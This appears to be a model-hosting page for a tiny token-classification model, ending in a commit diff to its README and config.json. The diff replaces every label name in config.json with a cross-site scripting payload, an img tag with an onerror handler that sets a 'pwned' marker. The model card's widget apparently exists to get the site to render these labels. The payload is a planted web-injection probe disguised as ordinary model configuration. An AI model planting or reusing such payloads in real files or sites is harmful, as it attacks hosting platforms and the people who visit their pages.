Instructions to use moosemandada/tiny-ner-probe with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use moosemandada/tiny-ner-probe with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("token-classification", model="moosemandada/tiny-ner-probe")# pip install -U transformers accelerate # Load model directly from transformers import AutoTokenizer, AutoModelForTokenClassification tokenizer = AutoTokenizer.from_pretrained("moosemandada/tiny-ner-probe") model = AutoModelForTokenClassification.from_pretrained("moosemandada/tiny-ner-probe", device_map="auto") - Notebooks
- Google Colab
- Kaggle
probe labels
Browse files- README.md +11 -0
- config.json +9 -11
README.md
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---
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pipeline_tag: token-classification
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widget:
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- text: "My name is Sarah and I live in London"
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library_name: transformers
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license: mit
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---
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# tiny ner probe
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probe
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config.json
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"hidden_dropout_prob": 0.1,
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"hidden_size": 2,
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"id2label": {
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"0": "
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"1": "
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"2": "
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"3": "
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"4": "
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"5": "
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"6": "
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"7": "
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"8": "
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},
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"initializer_range": 0.02,
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"intermediate_size": 4,
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"label2id": {
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"B-LOC": 7,
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"B-MISC": 1,
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"hidden_dropout_prob": 0.1,
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"hidden_size": 2,
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"id2label": {
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"0": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>",
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"1": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>",
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"2": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>",
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"3": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>",
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"4": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>",
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"5": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>",
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"6": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>",
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"7": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>",
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"8": "X\"><img src=x onerror=document.documentElement.dataset.pwned=1>"
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},
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"label2id": {
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"B-LOC": 7,
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"B-MISC": 1,
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